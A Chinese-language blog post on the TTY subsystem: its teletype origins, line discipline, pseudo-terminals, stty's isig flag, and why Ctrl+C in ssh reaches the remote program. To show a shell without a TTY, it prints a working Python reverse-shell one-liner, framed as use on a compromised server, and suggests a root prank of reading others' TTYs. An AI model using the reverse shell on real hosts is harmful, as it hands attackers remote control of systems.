TTY 到底是個什么玩意?

先來回答一道面試題:我們知道在終端中有一些常用的快捷鍵,Ctrl+E 可以移動到行尾,Ctrl+W 可以刪除一個單詞,Ctrl+B 可以向前移動一個字母,按上鍵可以出現(xiàn)上一個使用過的 shell 命令。在這 4 種快捷鍵中,有一個是和其他的實現(xiàn)不一樣的,請問是哪一個?
答案是 Ctrl+W。因為 Ctrl+W 是一個叫 TTY 的東西提供的,其余的三個是 shell 提供的。好吧,我承認(rèn)問別人這樣的題目會被打死,這里只是為了吸引讀者的興趣而已。
再看另外一個比較有意思的問題:假如你現(xiàn)在在 host1 上面使用 ssh 命令登錄了 host2,然后執(zhí)行了 sleep 9999 命令。這個時候按下 Ctrl+C,請問會發(fā)生什么情況?
host1上面的ssh會被停止host2上面的sleep命令會被停止,ssh回話將繼續(xù)保持
用過 ssh 命令的人都應(yīng)該知道現(xiàn)象是(2),我們可以在 ssh 提供的 shell 里面隨便 Ctrl+C 而不會對 ssh 造成任何影響。
那么這是怎么實現(xiàn)的呢?
我們知道 Ctrl+C 是發(fā)送一個 signal,int值是2,名字叫做 SIGINT. 所以我們可以猜想:是否是 ssh 進(jìn)程收到了 SIGINT,然后將其轉(zhuǎn)發(fā)到了 ssh 遠(yuǎn)程那邊的程序,而自己不會處理這個信號呢?
我們可以使用 killsnoop[1] 程序驗證這個猜想,這個程序可以將進(jìn)程間的信號打印出來。
首先我們啟動 killsnoop 程序:
root@vagrant:/home/vagrant#?./perf-tools/killsnoop
Tracing?kill()s.?Ctrl-C?to?end.
COMM?????????????PID????TPID?????SIGNAL?????RETURN
然后新開一個 shell,按下 Ctrl+C,會發(fā)現(xiàn)所在的 shell (pid=1549)收到了 signal=2 的信號,即 SIGINT.
vagrant@vagrant:~$?ps
????PID?TTY??????????TIME?CMD
???1549?pts/1????00:00:00?bash
???1644?pts/1????00:00:00?ps
vagrant@vagrant:~$?^C
root@vagrant:/home/vagrant#?./perf-tools/killsnoop
Tracing?kill()s.?Ctrl-C?to?end.
COMM?????????????PID????TPID?????SIGNAL?????RETURN
bash?????????????1549???1549?????2??????????0
然后我們 ssh 到本機(jī),在 ssh 內(nèi)部按下 Ctrl+C:
vagrant@vagrant:[email protected]
[email protected]'s?password:
Welcome?to?Ubuntu?20.04.2?LTS?(GNU/Linux?5.4.0-77-generic?x86_64)
?
vagrant@vagrant:~$?^C
如果我們猜想正確的話,現(xiàn)在應(yīng)該是 shell (pid=1549) 依然收到 SIGINT,然后將其轉(zhuǎn)發(fā)到 ssh 進(jìn)程。
但是 killsnoop 顯示只有 ssh 打開的那個 shell 收到了 SIGINT,ssh 進(jìn)程本身和原來的 pid=1549 的 shell 并沒有收到任何的信號。
systemd-udevd????392????1653?????15?????????0
systemd-udevd????392????1664?????15?????????0
bash?????????????1689???1689?????2??????????0
顯然,我們的猜想是不成立的。那么,是如何實現(xiàn) Ctrl+C 不影響 ssh 本身而是會影響 ssh 內(nèi)部的程序的呢?相信看完本文你就會有一個答案了。
希望已經(jīng)吸引到了你足夠的興趣,這些問題都要從 TTY 開始講起,我們現(xiàn)在開始考古。
TTY 是一個歷史產(chǎn)物
首先要明確一點的是,TTY 是一個歷史產(chǎn)物。就像現(xiàn)在的 Unix 系統(tǒng)有那么多的 `/bin`[2]。是因為很多程序都默認(rèn)這種存在了,老的程序需要它們才能運(yùn)行,新的程序也會默認(rèn)去兼容它們。如果不考慮歷史原因和兼容,完全寫一個從頭設(shè)計的 Terminal 或者目錄組織的話,是可以不需要那么多 /bin,不需要 TTY 的。
下面就簡單地介紹一下需要 TTY 的那段歷史,以及為什么在當(dāng)時的情況下,TTY 和各個子組件是不可缺少的。
TTY 的全程是 Teletype,什么是 Teletype 呢?

這,就是 Teletype——遠(yuǎn)程,打字機(jī)。
這個視頻[3]展示了它是怎么工作的。
簡單的來說,在很久之前,很多人一起使用一臺計算機(jī)(你一定聽說過 Unix ?是多用戶多任務(wù)的操作系統(tǒng)吧?)。每個人都有這么一個“終端”(Terminal, TTY, ?在這種語境下可以認(rèn)為是一個意思啦)。在這里敲下自己要運(yùn)行的命令,然后發(fā)送給系統(tǒng)執(zhí)行,從系統(tǒng)拿到結(jié)果,在紙上打印出結(jié)果。
所以,在當(dāng)時,TTY 是一個硬件,作為一個硬件,是怎么連接到計算機(jī)的呢?
首先要有線,但是這根線連到的其實并不直接是計算機(jī),而是一個叫做 Universal Asynchronous Receiver and ?Transmitter (UART) 的硬件。UART Driver 可以從硬件中讀出信息,然后將其發(fā)送到 TTY Driver. TTY ?從中讀出來發(fā)送給程序。(事實上,UART 到今天也還在使用,如果你玩過 Arduino 或者樹莓派的話,可能接觸過。)
類似于這樣:

到這里,其實對于我們“現(xiàn)代人”來說,也都比較直接。來自硬件的輸入通過 Driver 層層復(fù)制最終到了應(yīng)用程序而已。
等等,上面還有一個叫做 “Line discipline” 的東西。這是什么鬼?
如它的名字所說,用來“管教” line 的。命令在輸入之后,在按下 Enter 鍵之前,其實是存儲在 TTY 里面的。存在 TTY 的 line 就可以被 Line discipline 所“管教”。比如它提供的功能有:通過 Ctrl+U 刪除,也就是說,你按下 Ctrl+U 之后,TTY 并不會發(fā)送字符給后面的程序,而是會將當(dāng)前緩存的 line 整個刪掉。同理,Ctrl+W 刪除一個字符也是 Line discipline 所提供的功能。(哇!你現(xiàn)在能通過我的面試了!)我會在后面證明這是 TTY 提供的功能。
這個功能在我們“現(xiàn)代人”看來簡直太無聊了!不能直接交給 bash 來處理嗎?有必要作為一個 Kernel 的子系統(tǒng)處理這種事情嗎?
每當(dāng)你想要批評別人時,你要記住,這個世界上所有的人,并不是個個都有過你擁有的那些優(yōu)越條件。
是的,當(dāng)年的 Unix 就沒有這樣的條件。
在很久之前,將每一個字符讀進(jìn)來然后立即發(fā)送給后面的程序的話,對計算機(jī)來說太累了。因為 Unix 的 RAM 很小,只有 64K ?words. 如果 20 個人用每分鐘 60 個單詞的速度打字的話,大概每秒會需要 100 次 context switches 和 disk ?swap,那么計算機(jī)將會花費 100% 的時間來處理這些人的按鍵上,根本沒有時間干別的了。(PS 這段內(nèi)容其實是我從 dev.to 一個評論[5]能看到的,實在太精彩了,看到這個評論之前我看了很多文章都沒想明白到底為什么需要 Line discipline.)
Line discipline 最大的用處,其實是一個可編程的中間人。它可以 buffer 20 個 TTYs 的內(nèi)容,直到有一個人按下 ?Enter 的時候,才會真正將內(nèi)容發(fā)送給后端的程序。一個 Line discipline 模塊可以 cache 20 個 TTYs,假設(shè)我們需要 30s 輸入一個命令的話,那么每一個用戶差不多有 1.5s 的執(zhí)行時間。幾乎快了 100 倍。
Line discipline 的工作方式有點像 Emacs,有一個 size=127 的 function table,每一個 key 都有一個綁定的功能。比如說:進(jìn)入 buffer; 將命令發(fā)送出去等等。
你可以將 TTY 設(shè)置為 raw mode,這樣 Line discipline ?將不會對收到的字符作任何解釋,會直接發(fā)送給后面的程序(準(zhǔn)確說,應(yīng)該是前臺的進(jìn)程組,session,會收到)(實際上,這就是 ssh 不會收到 ?SIGINT 而是 ssh 內(nèi)部的程序收到 SIGINT 的原因,我會在后文給你證明)。現(xiàn)在很多程序使用的 TTY 都是 raw mode ?了,比如 ssh 和 Vim. 但是在很久之前,Vim 是運(yùn)行在 cooked mode(即 Line discipline ?會起作用)。當(dāng)你在一行的中間輸入一些文字,比如 asdffwefs,屏幕會亂掉,這些文字會覆蓋后面的內(nèi)容,直到你按下 Esc 退出編輯才會正常。
今天的電腦已經(jīng)比當(dāng)時的硬件性能搞了千萬倍,所以 Line discipline 沒有什么意義了。但是在當(dāng)時,如果人們想要對當(dāng)前輸入的命令進(jìn)行刪除在編輯,這個功能在哪里實現(xiàn)最合適呢?顯然是 buffer 的地方了!
這里的性能問題已經(jīng)成為歷史,但是 TTY 和 Line discipline 卻存在了下來(不然我們現(xiàn)在怎么能用 Ctrl+W 呢?),因為(我猜的)很多程序在寫的時候,比如 bash,會默認(rèn)有 TTY 的存在;TTY 也繼續(xù)保留著 Line discipline ?的功能,而用戶對此并沒有任何體感(之前我們不知道 TTY 這個玩意,終端和 ssh 不也用的好好的嗎?)所以我看來,這是一個向后兼容的“文物”。
那么在今天,TTY 到底是什么呢?本質(zhì)上,它不再是一個硬件,而只是一個軟件(內(nèi)核子系統(tǒng))。從系統(tǒng)的用戶層面來說,他是——一個文件。當(dāng)然了,Unix 里面什么不是文件呢?
通過 tty 命令可以查看當(dāng)前的 shell 使用的哪一個 TTY。
作為一個“文件”,你可以直接往里面寫。內(nèi)容寫進(jìn) TTY 之后將會被輸出設(shè)備讀出去。(下圖表現(xiàn)為在下面的 shell 寫入,出現(xiàn)在上面的 shell 中)

當(dāng)然,也可以讀。但當(dāng)你從 TTY 讀的時候,你就和輸出設(shè)備形成了競爭關(guān)系,因為你們都在從這個 TTY 中嘗試讀,原來這個 TTY 只有一個讀者,現(xiàn)在有了兩個。我在上面的 shell 中按下了 1-9 這幾個數(shù)字,每一次輸入不一定會被哪邊讀到:

一旦被 cat 讀到了,那么你按下的鍵將不會顯示在當(dāng)前的 shell 中。
是不是有了壞壞的想法?是的,我們可以通過 w 命令看看有哪些人登錄在機(jī)器上,然后去 cat 他們的 TTY,他們一定會以為自己的鍵盤壞了!(小提示,當(dāng)用戶登錄的時候,使用的 TTY 文件權(quán)限將設(shè)置為僅自己讀寫,owner 設(shè)置為自己,所以這個惡作劇必須要 root 才行!)

了解了 TTY 是什么,那么它在今天有什么用呢?
我們可以反向思考這個問題,沒有 TTY 行不行?
答案是可以的。
我可以演示一下沒有 TTY 一樣可以使用終端。
設(shè)想一種場景,假如你攻破了別人的一臺機(jī)器,比如 kawabangga.com 所在的服務(wù)器,你發(fā)現(xiàn)了一種可以在里面執(zhí)行 python 代碼的方法,但是,你只能將代碼注入進(jìn)去執(zhí)行,看不到輸出,這怎么辦呢?
有一種叫做 reverse shell 的東西。通俗來講,我們 ssh 一般是我們跑去遠(yuǎn)程的電腦上做控制,reverse,顧名思義就是反向的 shell。其實就是我在遠(yuǎn)程的機(jī)器上打開一個 shell,然后將它拱手送給你,交給你控制。
下面演示,我在下面的終端使用 nc 打開了一個 tcp 端口,然后在上面的終端執(zhí)行了如下命令:
python3?-c?'import?socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0);?os.dup2(s.fileno(),1);?os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

可以看到這段 python 代碼實際上打開了一個sh 程序,然后將 stdin/stdout/stderr ?全部和 tcp 的 socket 連接了起來。對于 nc 的這一端來說,nc 的 stdin/stdout/stderr 就發(fā)送進(jìn)入了 ?socket,所以,我的 nc 變成了能控制對方的一個shell!
這樣,我就可以在對方的主機(jī)上隨意執(zhí)行命令了,非常方便!

使用其他語言也可以打開 reverse shell[6]。
通過上面的圖片也可以看出,這是一個沒有 TTY 的 shell。它有什么問題呢?我們來跑一下 TUI 程序,比如 htop。

注意看左上角的問題,其實是按下 q 之后嘗試敲下 hostname 這幾個字,而 sh 已經(jīng)喪失理智了,連我敲下的字符都不能正常顯示出來。
所以說,在今天,沒有 TTY,我們也能跑一個不完整的 shell,畢竟,我們今天的硬件已經(jīng)和遠(yuǎn)程打字機(jī)沒什么關(guān)系了。
但是,TTY 依然作為一個內(nèi)核的模塊承擔(dān)著重要的功能。有了 TTY,可以給我們完成一些 Terminal 上的功能。Terminal 可以告訴 TTY,移動指針,清除屏幕,重置大小等功能。
誒?等一下,為什么我們在上面的圖片中見到的 tty 命令,都是以 /dev/pts/ 開頭的,而不是以 /dev/tty 開頭的呢?有什么區(qū)別?
這其實是“假裝的” TTY,叫做 Pseudo terminal。
不知道你有沒有意識到,我們上面討論的 TTY 有一個很重要的點是,TTY 是作為內(nèi)核的一個模塊(子系統(tǒng),Drive)。TTY 在內(nèi)核空間而不是用戶空間,我們現(xiàn)代的 Terminal 程序,ssh 程序等,如何能和 TTY 交互呢?
答案就是 PTY。
這里會將解釋進(jìn)行簡化,方便理解。當(dāng)像 iTerm2 這樣的程序需要 TTY 的時候,它會要求 Kernel 創(chuàng)建一個 PTY pair ?給它。注意這里是 pair,也就是 PTY 總是成對出現(xiàn)的。一個是 master,一個是 slave。slave ?那邊交給程序(剛才說過了,bash 這種程序默認(rèn)會認(rèn)為有 TTY 的存在,在交互狀態(tài)下會和 TTY 一起工作),程序并不知道這是一個 PTY ?slave 還是一個真正的 TTY,它只管讀寫。PTY master 會被返回給要求創(chuàng)建這個 PTY pair 的程序(一般是 ?ssh,終端模擬器圖形軟件,tmux 這種),程序拿到它(其實是一個 fd),就可以讀寫 master PTY 了。內(nèi)核會負(fù)責(zé)將 master ?PTY 的內(nèi)容 copy 到 slave PTY,將 slave PTY 的內(nèi)容 copy 到 master PTY。上面我們看到的 /dev/pts/* 等,pts 的意思是 pseudo-terminal slave. 意思是這些交互式 shell 的 login device 是 pseudo-terminal slave.
terminal?emulator?-?pty?master?<--?TTY?driver(?copies?stuff?from/to)?-->?pty?slave?-?shell
所以說,我們在 GUI 下看到的程序,比如 Xterm/iTerm2(其實用的是 ttyS[7],這里就不細(xì)說了),比如 tmux 中打開的 shell,比如 ssh 打開的 shell,全部都是 PTY。所以,GUI 下面的這些終端,類似 konsole, Xterm,都叫做 “終端模擬器”,它們不是真正的終端,是模擬出來的。
怎么進(jìn)入到一個真正的 TTY 呢?很簡單,在 Ubuntu 桌面系統(tǒng)中,Ctrl+Alt+F1 按下去,是圖形界面,但是 Ctrl+Alt+F2(其實 F2-F6都是),就是一個終端了,這個終端,就是 TTY,你在那里登錄然后按下 tty 命令,它就會告訴你這是 tty device 了。
我正好有一個 virtualbox 虛擬機(jī),只有命令行,沒有 GUI,登錄進(jìn)去的話,可以看到這就是一個 TTY。

最后我們回到本文開頭的第二個問題:為什么在 ssh 里面按下 Ctrl+C 并不會停止 ssh 而是會停止 ssh 內(nèi)的程序呢?
我們回顧一下,當(dāng)我們在本機(jī)按下 Ctrl+C 的時候,都發(fā)生了什么?
kernel 的 driver 收到了 Ctrl+C的輸入,中間經(jīng)過的不相關(guān)的模塊我們忽略不計然后到達(dá) TTY,TTY 收到了這個輸入之后向當(dāng)前在 TTY 前臺的進(jìn)程組(其實是當(dāng)前 TTY 被分配給了哪一個 session,就給哪里發(fā))發(fā)送 SIGINT 信號,如果當(dāng)前是 bash 在前臺,bash 會收到這個信號,如果是 sleep,那么sleep就會收到。
由于 SIGTERM 是可以被程序自己處理的信號,所以 bash 收到之后決定忽略,sleep 收到之后會退出。

stty 程序可以讓我們修改 tty 的 function table,Ctrl+C 這里涉及的是一個叫 isig 的功能:
[-] isig
enable interrupt, quit, and suspend special characters
–from
man isig
這個其實是說,如果 TTY 收到的 Ctrl+C 這種輸入(原始符號是 ^C ,對應(yīng)的,可以使用 stty -a 命令查看,默認(rèn)的 quit 是 ^\,默認(rèn)的 suspend 是 ^Z),不要將它原文發(fā)給后面的程序,而是將其轉(zhuǎn)換成 SIGINT 發(fā)送給當(dāng)前 TTY 后面的進(jìn)程組。所以我們可以用 stty -isig 來關(guān)閉這個行為。
現(xiàn)在,如果在 sleep 程序中按下 Ctrl+C,TTY 將會把 ^C 字符原封不動地發(fā)送給 sleep 程序,sleep 將不會收到任何的信號。我們無法使用 Ctrl+C 結(jié)束 sleep 程序了。

回到 ssh 的那個問題,我們現(xiàn)在合理的猜測是:ssh 在獲取遠(yuǎn)程的 shell 的時候,會先將當(dāng)前自己所在的 shell disable isig,這樣子,Ctrl+C 這個行為將會以字符發(fā)送給 ssh,ssh 的客戶端將這個字符發(fā)送給遠(yuǎn)程的 ssh server,ssh server 發(fā)送給自己的 TTY(其實是一個 PTY master 啦),最后遠(yuǎn)程的 TTY 發(fā)送給當(dāng)前遠(yuǎn)程的前臺進(jìn)程一個 SIGINT 信號。
如何驗證我們的猜想呢?
驗證1
我們可以使用 stty 查看 shell 的 TTY 設(shè)置,然后使用這個 shell 通過 ssh 登錄之后,再次查看 TTY 的設(shè)置。

這個圖中,我們用上面的 shell 來查看下面的 shell TTY 配置。可以看到第一次查看是 ssh 登錄之前 isig 是開啟狀態(tài)。第二次查看是在執(zhí)行 ssh 登錄之后,isig 變成關(guān)閉狀態(tài)了。如果 ssh 退出,isig 又會變成開啟的狀態(tài)。
驗證2
從反面證明一下,假如說我們在 ssh 登錄之前,強(qiáng)行將 ssh 所在的 TTY 開啟 isig,那么按下 Ctrl-C ,將會結(jié)束 ssh 進(jìn)程本身,而不是 ssh 內(nèi)部運(yùn)行的程序。
因為我這里使用的 ssh 登錄本機(jī),所以為了區(qū)分是在當(dāng)前的本地 shell 還是在 ssh 中,我修改了本地 shell 的命令行提示符。

這個圖片是在 ssh 登錄之后,在另一個 shell 中運(yùn)行 stty --file /dev/pts/0 isig 對 ssh 所在的 shell 開啟 isig。然后在 ssh (當(dāng)前的前臺程序是 sleep 9999)按下 Ctrl+C。這時候 ssh 直接退出了,我們回到了 local shell,而不是結(jié)束 ssh 中的 sleep。
驗證3
我們可以直接使用 strace 程序去跟蹤 ssh 的系統(tǒng)調(diào)用。
[email protected]
可以看到在 ssh 啟動的時候,會有一行:
ioctl(0,?SNDCTL_TMR_STOP?or?TCSETSW,?{B9600?-opost?-isig?-icanon?-echo?...})?=?0
是將 TTY 的設(shè)置改成了 -isig,以及一些其他的設(shè)置。
然后在 ssh 退出的時候,會有一行:
ioctl(0,?SNDCTL_TMR_STOP?or?TCSETSW,?{B9600?opost?isig?icanon?echo?...})?=?0
將設(shè)置修改回去。

那么回到第一個問題,怎么證明哪些快捷鍵是 TTY 提供的,哪些是 shell 提供的呢?
這就更簡單了,其實 stty -a 已經(jīng)將所有 stty 的配置打印出來了:
$?stty?-a
speed?9600?baud;?rows?52;?columns?187;?line?=?0;
intr?=?^C;?quit?=?^\;?erase?=?^?;?kill?=?^U;?eof?=?^D;?eol?=?M-^?;?eol2?=?M-^?;?swtch?=?;?start?=?^Q;?stop?=?^S;?susp?=?^Z;?rprnt?=?^R;?werase?=?^W;?lnext?=?^V;?discard?=?^O;
min?=?1;?time?=?0;
-parenb?-parodd?-cmspar?cs8?-hupcl?-cstopb?cread?-clocal?-crtscts
-ignbrk?-brkint?-ignpar?-parmrk?-inpck?-istrip?-inlcr?-igncr?icrnl?ixon?-ixoff?-iuclc?ixany?imaxbel?iutf8
opost?-olcuc?-ocrnl?onlcr?-onocr?-onlret?-ofill?-ofdel?nl0?cr0?tab0?bs0?vt0?ff0
isig?icanon?iexten?echo?echoe?-echok?-echonl?-noflsh?-xcase?-tostop?-echoprt?echoctl?echoke?-flusho?-extproc
在 raw mode 下,甚至回車鍵就是 newline,不會給你將光標(biāo)移動到行首。

如果取消 Ctril+W, 這個功能自然就沒了。打一個 Ctrl+W 就真的是 ^W。

那么 shell 的那些快捷方式呢(比如 Ctrl+E)?我們可以用 sh 程序來驗證它們是 shell 提供的功能,而不是 TTY 提供的功能。sh 是一個非常傻的程序,并不會解釋 Ctrl+A 或者 上鍵這些功能。按下左箭頭會出現(xiàn) ^[[D,按下 Ctrl+A 就會出現(xiàn) ^A(感覺這些字符之前很多人都會見過,當(dāng) shell 卡了的時候,按下箭頭就會把這些 raw 字符打在屏幕上)。但是,在正常的 TTY 下(cooked TTY, 可以使用 reset 命令復(fù)原之前被我們玩壞的 TTY),Ctrl+W 這個功能在 sh 下依然是可以使用的。

參考鏈接的匯總:
The TTY demystified[8] TTY 還和 sessions, jobs, flow control, 擁塞控制,signal 有關(guān),本文在介紹這些的時候多少有些省略,如果想了解詳細(xì)的內(nèi)容可以閱讀這個鏈接 Linux terminals, tty, pty and shell[9] 這篇文章是一個對 shell,terminal,TTY 大體的介紹。其中,這個評論[10]非常精彩。我?guī)缀鯇⑵渫耆g到本文中了 Run interactive Bash with popen and a dedicated TTY Python[11] 這是在 Python 中如何使用 PTY 的一個例子 Reverse Shell Cheat Sheet[12] 各個語言打開 reverse shell 的方法 The Linux Programming Interface 書中,第 64 章 PSEUDOTERMINALS,第 62 章 TERMINALS. Terminal emulator[13]
引用鏈接
killsnoop: https://github.com/brendangregg/perf-tools/blob/master/killsnoop
[2]Unix 系統(tǒng)有那么多的 /bin: https://www.kawabangga.com/posts/3777
這個視頻: https://www.youtube.com/watch?v=S81GyMKH7zw
[4]The TTY demystified: http://www.linusakesson.net/programming/tty/
[5]dev.to 一個評論: https://dev.to/dwgillies/comment/p49i
[6]打開 reverse shell: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[7]ttyS: https://man7.org/linux/man-pages/man4/ttys.4.html
[8]The TTY demystified: http://www.linusakesson.net/programming/tty/
[9]Linux terminals, tty, pty and shell: https://dev.to/napicella/linux-terminals-tty-pty-and-shell-192e
[10]這個評論: https://dev.to/dwgillies/comment/p49i
[11]Run interactive Bash with popen and a dedicated TTY Python: https://www.py4u.net/discuss/13831
[12]Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[13]Terminal emulator: https://en.wikipedia.org/wiki/Terminal_emulator
原文鏈接:https://www.kawabangga.com/posts/4515


你可能還喜歡
點擊下方圖片即可閱讀

云原生是一種信仰???
關(guān)注公眾號
后臺回復(fù)?k8s?獲取史上最方便快捷的 Kubernetes 高可用部署工具,只需一條命令,連 ssh 都不需要!


點擊?"閱讀原文"?獲取更好的閱讀體驗!
發(fā)現(xiàn)朋友圈變“安靜”了嗎?


